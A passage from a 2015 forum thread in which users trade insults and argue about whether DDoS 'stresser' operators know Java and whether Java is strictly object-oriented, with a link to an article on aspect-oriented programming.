1. People now think you are ignorant as fuck.
2. People now think you are delusional and somewhat incapable of programming.
3. Back to 1.

WildeThing - June 29, 2015, 2:06 pm

(Jun 29, 2015 01:03 AM)nullifiedvoid Wrote: [\[CITE\]](#) I would not doubt if it is implemented in any new stressers in the near future.

If you think that's gonna happen, the inside of your head must be a nullified void.

Thanks for having a descriptive username. Fun fact: those who make stressers don't know Java - they know basic PHP most of the time; also, those who run stressers know nothing except how to send money on paypal.

JIM NASIUM'S GYMNASIUM - June 29, 2015, 3:08 pm

(Jun 29, 2015 07:38 AM)WildeThing Wrote: [\[CITE\]](#) Java's default and only programming model is object orientated

Not quite true. A lot of servlets emphasize aspect oriented programming.

<http://www.onjava.com/pub/a/onjava/2004/01/14/aop.html>

But that's a bit out of scope for this thread. I still agree with the majority of what you said though.